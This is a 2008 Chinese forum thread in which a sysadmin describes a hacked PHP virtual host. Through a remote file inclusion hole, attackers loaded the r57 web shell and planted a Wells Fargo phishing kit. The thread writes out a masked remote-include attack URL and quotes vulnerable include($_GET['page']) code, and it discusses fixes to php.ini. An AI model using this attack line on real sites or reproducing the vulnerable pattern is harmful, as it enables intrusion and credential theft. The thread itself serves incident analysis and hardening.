【討論】PHP主機被駭植入釣魚網站的實例



贊助商連結


阿 土
2008-03-13, 07:10 PM
上午接到朋友 Call 我詢問主機疑似發送大量信件以及有異常流量請我協助

該朋友是把主機當作虛擬主機使用 , 一部主機上面有幾十個網站運作中
猜想不是 ftp 密碼被猜出來就是被放上後門程式

上去查了一下 maillog , 的確有大量的信件寄出 , 不過都是寄給同一個 email , 所以這不是被當成垃圾信跳板

他告知網頁目錄下有檔案被傳上來
於是搜尋每個網站下的某類型檔案 , 在某一個網站下面多了一個 wells.tgz 解壓縮之後出現一個目錄 www.wellsfargo.com

該目錄下的網頁就跟 www.wellsfargo.com 一模一樣
不過那是假的釣魚網頁 , 若不察在假網頁上面輸入帳號及密碼後 , 帳號及密碼就會被寄送到指定的 email

該假網頁除了帳號及密碼外 , 還有個輸入信用卡資料的網頁 , 若不小心信用卡資料也會寄到壞人手中

wells.tgz 是怎麼傳上 Server 的?
並不是透過 Ftp 傳上的 , 而是透過一支俄羅斯駭客寫的 r57 後門程式傳上來的
我之前也抓過另一部朋友的虛擬主機 , 他有個客戶使用 OSC 但沒有更新導致有個嚴重漏洞被 Try 出來 , 並上傳了該後門程式至主機上
當時有看一下該 r57 後門程式 , 只能說很棒,很強大!

該後門程式並非如同我朋友主機上的 OSC 漏洞而上傳上來 , 而是改用直接連結的方式從遠端 Server 呼叫使用
只要在網頁上輸入如下指令: (相關資料以 ??? 取代)

http://www.???.com/index.php?page=http://www.???.ro/~???/r57.txt?

網頁就會變成這樣 , 網頁中間載入了 r57 後門程式 , 且可正常執行
http://img292.imageshack.us/img292/9300/r57qn8.jpg

主要問題發生在兩個地方:
1.該虛擬主機客戶的 index.php 寫法可能導致此問題:(我不會寫程式,看了看應該是此問題,但不是100%確定)
該主機的 index.php 中間有幾行 include($xxx) 的語法
網站的功能 Link 都是以此種方式 "index.php?page=XXX" 開啟
剛好符合上述的駭客執行指令

2.php.ini 開啟了此些功能導致了此漏洞
allow_url_fopen = On

php 5.2 之後又多了 allow_url_include 用以輔助 allow_url_fopen

建議將 php.ini 中的 allow_url_fopen & allow_url_include 都設定成 off

----------------------------------------------------------------

查了一下自己 Server 的 log , 嘗試讀取遠端 .txt 的記錄還不少
看來都是利用現成的駭客程式掃瞄測試的
若被測試成功就難免會遇到此次被駭網站的遭遇

贊助商連結


twu2
2008-03-13, 09:13 PM
通常是 register_global 搭配 allow_url_fopen 造成的.
有些人寫程式習慣用
$inc_dir = "/abc/";
include $inc_dir."abc.php"
之類的寫法, 在別的地方定義 $inc_dir, 然後在一堆 .php 中使用, 結果就是人家利用 register_global 的設定, 或者是程式內做出類似這個設定的功能, 然後用 GET 參數把 inc_dir 換成一個遠端的 URL, 這時再搭配 allow_url_fopen, 就等於把遠端的程式抓回來跑, 而這程式就是個後門程式了.

joe.oo
2008-03-14, 05:27 AM
典型的自殺式寫法

include($_GET["page"]);

即簡捷又優雅 :jump2:

阿 土
2008-03-15, 09:31 AM
典型的自殺式寫法

include($_GET["page"]);

即簡捷又優雅 :jump2:

該 index.php 中的確有一行 , 我也是懷疑這一行導致


<?
include($page_content)
?>


在最前面還有一行看起來有問題的語法跟你說的有點類似



$page = isset($_GET['page']) ? $_GET['page'] ......

阿 土
2008-03-15, 09:36 AM
通常是 register_global 搭配 allow_url_fopen 造成的.
有些人寫程式習慣用
$inc_dir = "/abc/";
include $inc_dir."abc.php"
之類的寫法, 在別的地方定義 $inc_dir, 然後在一堆 .php 中使用, 結果就是人家利用 register_global 的設定, 或者是程式內做出類似這個設定的功能, 然後用 GET 參數把 inc_dir 換成一個遠端的 URL, 這時再搭配 allow_url_fopen, 就等於把遠端的程式抓回來跑, 而這程式就是個後門程式了.

yes , 的確是 "register_global 搭配 allow_url_fopen 都開啟" 造成此問題.

PS : 我也常上您的 Blog 上看文章.